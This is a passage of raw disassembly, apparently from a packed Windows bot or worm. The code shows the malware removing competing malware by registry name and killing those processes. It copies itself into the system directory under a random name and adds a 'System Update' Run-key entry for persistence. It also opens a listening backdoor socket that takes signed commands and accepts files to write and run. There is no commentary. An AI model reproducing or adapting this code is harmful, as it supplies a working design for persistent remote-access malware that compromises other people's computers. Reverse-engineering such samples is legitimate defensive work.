loc_315023E2:				; CODE XREF: sub_315023AF+1Cj
		pop	ebp
		retn
sub_315023AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315023E4	proc near		; CODE XREF: sub_31501BA8+33p
					; sub_31502548+7Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_10]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+arg_10]
		push	eax
		xor	esi, esi
		push	0F003Fh
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_3150102C	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_31502410
		push	1
		pop	eax
		jmp	short loc_3150243A
; ---------------------------------------------------------------------------


loc_31502410:				; CODE XREF: sub_315023E4+25j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		call	dword_31501028	; RegQueryValueExA
		test	eax, eax
		jz	short loc_3150242F
		push	2
		pop	esi


loc_3150242F:				; CODE XREF: sub_315023E4+46j
		push	[ebp+arg_10]
		call	dword_31501034	; RegCloseKey
		mov	eax, esi


loc_3150243A:				; CODE XREF: sub_315023E4+2Aj
		pop	esi
		leave
		retn
sub_315023E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3150243D	proc near		; CODE XREF: sub_315025F6+96p
					; sub_315026C2+7Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		lea	eax, [ebp+arg_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_31501020	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_31502466
		push	1
		pop	eax
		jmp	short loc_3150248D
; ---------------------------------------------------------------------------


loc_31502466:				; CODE XREF: sub_3150243D+22j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	1
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	dword_31501024	; RegSetValueExA
		test	eax, eax
		jz	short loc_31502482
		push	2
		pop	esi


loc_31502482:				; CODE XREF: sub_3150243D+40j
		push	[ebp+arg_4]
		call	dword_31501034	; RegCloseKey
		mov	eax, esi


loc_3150248D:				; CODE XREF: sub_3150243D+27j
		pop	esi
		pop	ebp
		retn
sub_3150243D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31502490	proc near		; CODE XREF: sub_31502548+98p

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	ebx
		call	dword_315010A0	; lstrlenA
		mov	esi, eax
		dec	esi
		test	esi, esi
		jle	loc_31502544


loc_315024B0:				; CODE XREF: sub_31502490+27j
		cmp	byte ptr [esi+ebx], 5Ch
		jz	short loc_315024B9
		dec	esi
		jns	short loc_315024B0


loc_315024B9:				; CODE XREF: sub_31502490+24j
		push	0
		push	2
		call	sub_31503ABC	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_31502544
		push	128h
		lea	eax, [ebp+var_128]
		push	0
		push	eax
		call	sub_31503A38	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_128]
		mov	[ebp+var_128], 128h
		push	eax
		push	[ebp+arg_0]
		call	sub_31503AB6	; Process32First
		test	eax, eax
		jz	short loc_31502544
		lea	esi, [esi+ebx+1]


loc_31502501:				; CODE XREF: sub_31502490+B2j
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		call	dword_31501120	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31502531
		push	[ebp+var_120]
		push	0
		push	1F0FFFh
		call	dword_315010C0	; OpenProcess
		push	0
		push	eax
		call	dword_31501080	; TerminateProcess


loc_31502531:				; CODE XREF: sub_31502490+83j
		lea	eax, [ebp+var_128]
		push	eax
		push	[ebp+arg_0]
		call	sub_31503AB0	; Process32Next
		test	eax, eax
		jnz	short loc_31502501


loc_31502544:				; CODE XREF: sub_31502490+1Aj
					; sub_31502490+38j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_31502490	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31502548	proc near		; CODE XREF: UPX0:31501D5Fp

var_138		= byte ptr -138h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	ebx
		push	esi
		lea	eax, [ebp+var_30]
		push	edi
		mov	[ebp+var_30], offset aWindowsSecurit ; "Windows	Security Manager"
		mov	[ebp+var_2C], offset aDiskDefragment ; "Disk Defragmenter"
		mov	[ebp+var_28], offset aSystemRestoreS ; "System Restore Service"
		mov	[ebp+var_24], offset aBotLoader	; "Bot Loader"
		mov	[ebp+var_20], offset aSystray ;	"SysTray"
		mov	[ebp+var_1C], offset aWinupdate	; "WinUpdate"
		mov	[ebp+var_18], offset aWindowsUpdateS ; "Windows	Update Service"
		mov	[ebp+var_14], offset aAvserve_exe ; "avserve.exe"
		mov	[ebp+var_10], offset aAvserve2_exeup ; "avserve2.exeUpdate Service"
		mov	[ebp+var_C], offset aMsConfigV13 ; "MS Config v13"
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0Ah
		mov	edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	esi, 80000002h


loc_315025B1:				; CODE XREF: sub_31502548+A7j
		mov	eax, [ebp+var_4]
		push	104h
		mov	ebx, [eax]
		lea	eax, [ebp+var_138]
		push	eax
		push	ebx
		push	edi
		push	esi
		call	sub_315023E4
		add	esp, 14h
		test	eax, eax
		jnz	short loc_315025E8
		push	ebx
		push	edi
		push	esi
		call	sub_315023AF
		lea	eax, [ebp+var_138]
		push	eax
		call	sub_31502490
		add	esp, 10h


loc_315025E8:				; CODE XREF: sub_31502548+87j
		add	[ebp+var_4], 4
		dec	[ebp+var_8]
		jnz	short loc_315025B1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31502548	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315025F6	proc near		; CODE XREF: sub_315026C2+D1p
					; sub_315026C2+132p

var_78		= byte ptr -78h
var_14		= byte ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 78h
		cmp	[ebp+arg_0], 0
		jz	short loc_3150260B
		push	[ebp+arg_0]
		call	dword_31501094	; DeleteFileA


loc_3150260B:				; CODE XREF: sub_315025F6+Aj
		lea	eax, [ebp+var_78]
		push	63h
		push	eax
		call	dword_31501068	; GetSystemDirectoryA
		test	eax, eax
		jz	locret_315026C0
		push	esi
		call	dword_31501124	; rand
		and	eax, 3
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_31501932
		mov	esi, dword_3150106C
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_14]
		push	offset a_exe	; ".exe"
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_78]
		push	offset asc_31505CF0 ; "\\"
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_78]
		push	0
		push	eax
		push	[ebp+arg_4]
		call	dword_31501070	; CopyFileA
		lea	eax, [ebp+var_78]
		push	eax
		call	dword_315010A0	; lstrlenA
		inc	eax
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	offset aSystemUpdate ; "System Update"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_3150243D
		add	esp, 14h
		push	ds:dword_31506164
		call	dword_315010BC	; CloseHandle
		lea	eax, [ebp+var_78]
		push	0
		push	eax
		call	dword_31501074	; WinExec
		push	1F4h
		call	dword_315010A4	; Sleep
		push	0
		call	dword_3150109C	; ExitProcess
		pop	esi

locret_315026C0:			; CODE XREF: sub_315025F6+23j
		leave
		retn
sub_315025F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315026C2	proc near		; CODE XREF: UPX0:31501D64p

var_E8		= byte ptr -0E8h
var_84		= byte ptr -84h
var_20		= byte ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 0E8h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_84]
		push	63h
		push	eax
		push	0
		call	dword_31501060	; GetModuleFileNameA
		test	eax, eax
		jz	loc_315027FB
		and	ds:dword_315061A0, 0
		lea	eax, [ebp+var_20]
		push	1Dh
		push	eax
		mov	edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless"
		push	offset aId	; "ID"
		mov	esi, 80000002h
		push	edi
		push	esi
		call	sub_315023E4
		add	esp, 14h
		test	eax, eax
		jz	short loc_31502748
		call	dword_31501124	; rand
		push	0Ah
		mov	ebx, offset aEwpkcorawtj ; "ewpkcorawtj"
		cdq
		pop	ecx
		idiv	ecx
		add	edx, ecx
		push	edx
		push	ebx
		call	sub_31501932
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_315010A0	; lstrlenA
		inc	eax
		push	eax
		push	ebx
		push	offset aId	; "ID"
		push	edi
		push	esi
		call	sub_3150243D
		add	esp, 14h
		jmp	short loc_31502757
; ---------------------------------------------------------------------------


loc_31502748:				; CODE XREF: sub_315026C2+4Dj
		lea	eax, [ebp+var_20]
		push	eax
		push	offset aEwpkcorawtj ; "ewpkcorawtj"
		call	dword_31501088	; lstrcpyA


loc_31502757:				; CODE XREF: sub_315026C2+84j
		lea	eax, [ebp+var_E8]
		push	63h
		push	eax
		push	offset aSystemUpdate ; "System Update"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	esi
		call	sub_315023E4
		add	esp, 14h
		test	eax, eax
		jz	short loc_3150279D
		push	2
		push	offset a1	; "1"
		push	offset aClient	; "Client"
		push	edi
		push	esi
		call	sub_3150243D
		lea	eax, [ebp+var_84]
		push	eax
		push	0
		call	sub_315025F6
		add	esp, 1Ch
		jmp	short loc_315027FB
; ---------------------------------------------------------------------------


loc_3150279D:				; CODE XREF: sub_315026C2+B3j
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		call	dword_31501064	; lstrcmpiA
		test	eax, eax
		jnz	short loc_315027E6
		lea	eax, [ebp+var_20]
		push	1Dh
		mov	ebx, offset aClient ; "Client"
		push	eax
		push	ebx
		push	edi
		push	esi
		call	sub_315023E4
		add	esp, 14h
		test	eax, eax
		jnz	short loc_315027FB
		push	ebx
		push	edi
		push	esi
		mov	ds:dword_315061A0, 1
		call	sub_315023AF
		add	esp, 0Ch
		jmp	short loc_315027FB
; ---------------------------------------------------------------------------


loc_315027E6:				; CODE XREF: sub_315026C2+F1j
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_315025F6
		pop	ecx
		pop	ecx


loc_315027FB:				; CODE XREF: sub_315026C2+1Fj
					; sub_315026C2+D9j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_315026C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_31502800	proc near		; CODE XREF: sub_31501BA8+7Ap
					; sub_315028AE+2Ap ...

arg_0		= dword	ptr  4

		push	4
		push	1000h
		push	[esp+8+arg_0]
		push	0
		call	dword_3150105C	; VirtualAlloc
		retn
sub_31502800	endp


; =============== S U B	R O U T	I N E =======================================



sub_31502814	proc near		; CODE XREF: sub_315028AE+EBp
					; sub_31502B4C+75p ...

arg_0		= dword	ptr  4

		push	8000h
		push	0
		push	[esp+8+arg_0]
		call	dword_31501058	; VirtualFree
		retn
sub_31502814	endp


; =============== S U B	R O U T	I N E =======================================



sub_31502826	proc near		; CODE XREF: sub_31502B4C+32p
		push	esi
		mov	esi, ecx
		push	offset aCont	; "cont"
		and	dword ptr [esi], 0
		lea	eax, [esi+4]
		push	eax
		call	dword_31501088	; lstrcpyA
		mov	eax, esi
		pop	esi
		retn
sub_31502826	endp


; =============== S U B	R O U T	I N E =======================================



sub_3150283F	proc near		; CODE XREF: sub_31502B4C+3Ap
		push	ebx
		push	ebp
		mov	ebx, dword_31501018
		push	esi
		push	edi
		xor	ebp, ebp
		mov	edi, ecx
		push	ebp
		push	1
		push	ebp
		lea	esi, [edi+0Eh]
		push	ebp
		push	esi
		call	ebx	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_3150286E
		push	8
		push	1
		push	ebp
		push	ebp
		push	esi
		call	ebx	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_3150286E
		push	1
		pop	eax
		jmp	short loc_3150288E
; ---------------------------------------------------------------------------


loc_3150286E:				; CODE XREF: sub_3150283F+1Bj
					; sub_3150283F+28j
		add	edi, 12h
		push	edi
		push	ebp
		push	ebp
		push	114h
		push	offset dword_31505CF8
		push	dword ptr [esi]
		call	dword_3150101C	; CryptImportKey
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax


loc_3150288E:				; CODE XREF: sub_3150283F+2Dj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_3150283F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_31502893	proc near		; CODE XREF: sub_31502B4C+7Ep
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+12h]
		call	dword_31501010	; CryptDestroyKey
		push	0
		push	dword ptr [esi+0Eh]
		call	dword_31501014	; CryptReleaseContext
		xor	eax, eax
		pop	esi
		retn
sub_31502893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315028AE	proc near		; CODE XREF: sub_31502B4C+46p

var_28		= byte ptr -28h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		lea	eax, [ebp+var_28]
		push	edi
		mov	[ebp+var_8], ecx
		push	eax
		call	dword_31501050	; GetSystemTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	dword_31501054	; SystemTimeToFileTime
		mov	esi, 4000h
		push	esi
		call	sub_31502800
		mov	ebx, [ebp+arg_0]
		pop	ecx
		mov	edi, eax
		push	0
		push	esi
		push	edi
		push	dword ptr [ebx]
		call	dword_315011A0	; recv
		lea	esi, [edi+8]
		push	8
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_31503A44	; memcpy
		mov	ecx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		add	esp, 0Ch
		sub	ecx, [ebp+var_18]
		sbb	eax, [ebp+var_14]
		cmp	eax, 8
		jg	short loc_3150298F
		jl	short loc_3150291C
		cmp	ecx, 61C46800h
		ja	short loc_3150298F


loc_3150291C:				; CODE XREF: sub_315028AE+64j
		cmp	eax, 0FFFFFFF7h
		jl	short loc_3150298F
		jg	short loc_3150292B
		cmp	ecx, 9E3B9800h
		jb	short loc_3150298F


loc_3150292B:				; CODE XREF: sub_315028AE+73j
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	0
		push	0
		push	8003h
		push	dword ptr [eax+0Eh]
		call	dword_31501000	; CryptCreateHash
		test	eax, eax
		jz	short loc_31502980
		push	0
		push	8
		push	esi
		push	[ebp+var_4]
		call	dword_31501004	; CryptHashData
		test	eax, eax
		jz	short loc_31502980
		mov	eax, [edi+10h]
		cmp	eax, 2800h
		ja	short loc_31502980
		mov	ecx, [ebp+var_8]
		xor	esi, esi
		push	esi
		push	esi
		push	dword ptr [ecx+12h]
		push	eax
		lea	eax, [edi+14h]
		push	eax
		push	[ebp+var_4]
		call	dword_31501008	; CryptVerifySignatureA
		test	eax, eax
		jnz	short loc_315029A8


loc_31502980:				; CODE XREF: sub_315028AE+98j
					; sub_315028AE+AAj ...
		call	dword_31501098	; RtlGetLastWin32Error
		push	[ebp+var_4]
		call	dword_3150100C	; CryptDestroyHash


loc_3150298F:				; CODE XREF: sub_315028AE+62j
					; sub_315028AE+6Cj ...
		call	dword_31501098	; RtlGetLastWin32Error
		push	2
		pop	esi


loc_31502998:				; CODE XREF: sub_315028AE+117j
		push	edi
		call	sub_31502814
		pop	ecx
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_315029A8:				; CODE XREF: sub_315028AE+D0j
		push	[ebp+var_4]
		call	dword_3150100C	; CryptDestroyHash
		call	dword_31501124	; rand
		push	esi
		push	4
		push	edi
		mov	[edi], eax
		push	dword ptr [ebx]
		call	dword_3150119C	; send
		jmp	short loc_31502998
sub_315028AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315029C7	proc near		; CODE XREF: sub_31502B4C+6Ap

var_220		= byte ptr -220h
var_118		= byte ptr -118h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		cmp	[ebp+arg_8], 8
		push	ebx
		push	esi
		push	edi
		jge	short loc_315029E6
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		jmp	loc_31502B3E
; ---------------------------------------------------------------------------


loc_315029E6:				; CODE XREF: sub_315029C7+10j
		mov	esi, [ebp+arg_4]
		mov	ebx, 104h
		mov	eax, [esi]
		lea	edi, [esi+8]
		test	eax, eax
		mov	[ebp+arg_4], eax
		jnz	loc_31502AF7
		lea	eax, [ebp+var_220]
		push	ebx
		push	eax
		call	dword_31501068	; GetSystemDirectoryA
		lea	eax, [ebp+var_220]
		push	eax
		call	dword_31501048	; SetCurrentDirectoryA
		mov	eax, [edi]
		push	ebx
		mov	[ebp+arg_8], eax
		mov	eax, [edi+4]
		mov	[ebp+var_4], eax
		lea	eax, [edi+8]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_315010A8	; lstrcpynA
		xor	eax, eax
		push	eax
		push	eax
		push	2
		push	eax
		push	eax
		lea	eax, [ebp+var_118]
		push	40000000h
		push	eax
		call	dword_315010F0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_31502AE5
		mov	ebx, dword_3150119C
		push	0
		push	8
		push	esi
		push	[ebp+arg_0]
		mov	dword ptr [esi+4], 1
		call	ebx	; send
		mov	eax, [ebp+arg_8]
		xor	edx, edx
		div	[ebp+var_4]
		xor	edx, edx
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		div	[ebp+var_4]
		test	edx, edx
		jz	short loc_31502A8D
		inc	[ebp+arg_4]


loc_31502A8D:				; CODE XREF: sub_315029C7+C1j
		and	[ebp+var_8], 0
		cmp	[ebp+arg_4], 0
		jle	short loc_31502ADA


loc_31502A97:				; CODE XREF: sub_315029C7+111j
		push	0
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_0]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_8], eax
		jz	short loc_31502ADA
		lea	ecx, [ebp+var_10]
		push	0
		push	ecx
		push	eax
		push	edi
		push	[ebp+var_C]
		call	dword_3150104C	; WriteFile
		mov	eax, [ebp+arg_8]
		push	0
		push	8
		push	esi
		push	[ebp+arg_0]
		mov	[esi+4], eax
		call	ebx	; send
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jl	short loc_31502A97


loc_31502ADA:				; CODE XREF: sub_315029C7+CEj
					; sub_315029C7+E5j
		push	[ebp+var_C]
		call	dword_315010BC	; CloseHandle
		jmp	short loc_31502B47
; ---------------------------------------------------------------------------


loc_31502AE5:				; CODE XREF: sub_315029C7+8Fj
		and	dword ptr [esi+4], 0
		push	0
		push	8
		push	esi
		push	[ebp+arg_0]
		call	dword_3150119C	; send


loc_31502AF7:				; CODE XREF: sub_315029C7+31j
		cmp	[ebp+arg_4], 1
		jnz	short loc_31502B26
		lea	eax, [ebp+var_118]
		push	ebx
		push	eax
		call	dword_31501068	; GetSystemDirectoryA
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_31501048	; SetCurrentDirectoryA
		push	0
		push	4
		push	esi
		push	[ebp+arg_0]
		call	dword_3150119C	; send


loc_31502B26:				; CODE XREF: sub_315029C7+134j
		cmp	[ebp+arg_4], 3
		jnz	short loc_31502B47
		push	dword ptr [edi]
		add	edi, 4
		push	edi
		call	sub_31501962
		pop	ecx
		pop	ecx
		push	0
		push	4
		push	esi


loc_31502B3E:				; CODE XREF: sub_315029C7+1Aj
		push	[ebp+arg_0]
		call	dword_3150119C	; send


loc_31502B47:				; CODE XREF: sub_315029C7+11Cj
					; sub_315029C7+163j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_315029C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31502B4C	proc near		; DATA XREF: sub_31502BE8+AAo

var_30		= dword	ptr -30h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	esi
		push	edi
		call	sub_315018BA
		mov	esi, [ebp+arg_0]
		push	6
		pop	ecx
		lea	edi, [ebp+var_30]
		rep movsd
		push	[ebp+var_1C]
		call	dword_315010D8	; SetEvent
		mov	esi, 10000h
		push	esi
		call	sub_31502800
		pop	ecx
		mov	edi, eax
		lea	ecx, [ebp+var_18]
		call	sub_31502826
		lea	ecx, [ebp+var_18]
		call	sub_3150283F
		lea	eax, [ebp+var_30]
		lea	ecx, [ebp+var_18]
		push	eax
		call	sub_315028AE
		test	eax, eax
		jnz	short loc_31502BC0


loc_31502B9B:				; CODE XREF: sub_31502B4C+72j
		push	0
		push	esi
		push	edi
		push	[ebp+var_30]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_31502BC0
		test	eax, eax
		jz	short loc_31502BC0
		push	eax
		push	edi
		push	[ebp+var_30]
		call	sub_315029C7
		add	esp, 0Ch
		jmp	short loc_31502B9B
; ---------------------------------------------------------------------------


loc_31502BC0:				; CODE XREF: sub_31502B4C+4Dj
					; sub_31502B4C+5Fj ...
		push	edi
		call	sub_31502814
		pop	ecx
		lea	ecx, [ebp+var_18]
		call	sub_31502893
		push	[ebp+var_30]
		call	dword_315011A8	; closesocket
		push	0
		call	dword_315010E0	; ExitThread
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_31502B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_31502BE8	proc near		; DATA XREF: sub_31501D96+156o

var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	1
		push	2
		call	dword_3150118C	; socket
		mov	[ebp+var_4], eax
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_31503A38	; memset
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], esi


loc_31502C19:				; CODE XREF: sub_31502BE8+59j
		lea	eax, [esi+0BFBh]
		push	eax
		call	dword_31501194	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	[ebp+var_4]
		call	dword_31501170	; bind
		test	eax, eax
		jz	short loc_31502C43
		inc	esi
		cmp	esi, 0Ah
		jl	short loc_31502C19


loc_31502C43:				; CODE XREF: sub_31502BE8+53j
		push	32h
		push	[ebp+var_4]
		call	dword_31501174	; listen
		mov	ebx, dword_315010BC


loc_31502C54:				; CODE XREF: sub_31502BE8+CDj
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], 10h
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+var_4]
		call	dword_31501178	; accept
		lea	esi, [ebp+var_2C]
		lea	edi, [ebp+var_40]
		mov	[ebp+var_44], eax
		movsd
		movsd
		movsd
		movsd
		xor	esi, esi
		push	esi
		push	esi
		push	1
		push	esi
		call	dword_3150108C	; CreateEventA
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_44]
		push	esi
		push	eax
		push	offset sub_31502B4C
		push	esi
		push	esi
		call	dword_315010D0	; CreateThread
		push	eax
		call	ebx	; CloseHandle
		push	3E8h
		push	[ebp+var_30]
		call	dword_31501090	; WaitForSingleObject
		push	[ebp+var_30]
		call	ebx	; CloseHandle
		jmp	short loc_31502C54
sub_31502BE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31502CB7	proc near		; CODE XREF: sub_31502D3C+25p

var_38		= byte ptr -38h
var_1C		= byte ptr -1Ch
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		push	6
		pop	ecx
		mov	esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
		lea	edi, [ebp+var_1C]
		push	6
		rep movsd
		movsw
		movsb
		pop	ecx
		mov	esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz"
		lea	edi, [ebp+var_38]
		mov	ebx, [ebp+arg_4]
		rep movsd
		movsw
		test	ebx, ebx
		movsb
		jge	short loc_31502CEA
		add	ebx, 1Ah


loc_31502CEA:				; CODE XREF: sub_31502CB7+2Ej
		movsx	edi, [ebp+arg_0]
		mov	esi, dword_31501110
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31502D14
		lea	ecx, [ebp+var_1C]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_1C]
		jmp	short loc_31502D37
; ---------------------------------------------------------------------------


loc_31502D14:				; CODE XREF: sub_31502CB7+48j
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31502D34
		lea	ecx, [ebp+var_38]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_38]
		jmp	short loc_31502D37
; ---------------------------------------------------------------------------


loc_31502D34:				; CODE XREF: sub_31502CB7+68j
		mov	al, [ebp+arg_0]


loc_31502D37:				; CODE XREF: sub_31502CB7+5Bj
					; sub_31502CB7+7Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31502CB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31502D3C	proc near		; CODE XREF: sub_31503722+F7p
					; sub_31503722+137p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	al, [eax]
		test	al, al
		jz	short loc_31502D97
		mov	edi, [ebp+arg_0]
		push	ebx


loc_31502D51:				; CODE XREF: sub_31502D3C+56j
		mov	bl, al
		inc	[ebp+arg_4]
		mov	eax, esi
		mov	byte ptr [ebp+arg_0], bl
		neg	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_31502CB7
		mov	[edi], al
		pop	ecx
		inc	edi
		cmp	bl, 61h
		pop	ecx
		jl	short loc_31502D7B
		cmp	bl, 7Ah
		jg	short loc_31502D7B
		movsx	esi, bl
		sub	esi, 61h


loc_31502D7B:				; CODE XREF: sub_31502D3C+32j
					; sub_31502D3C+37j
		cmp	bl, 41h
		jl	short loc_31502D8B
		cmp	bl, 5Ah
		jg	short loc_31502D8B
		movsx	esi, bl
		sub	esi, 41h


loc_31502D8B:				; CODE XREF: sub_31502D3C+42j
					; sub_31502D3C+47j
		mov	eax, [ebp+arg_4]
		mov	al, [eax]
		test	al, al
		jnz	short loc_31502D51
		pop	ebx
		jmp	short loc_31502D9A
; ---------------------------------------------------------------------------


loc_31502D97:				; CODE XREF: sub_31502D3C+Fj
		mov	edi, [ebp+arg_0]


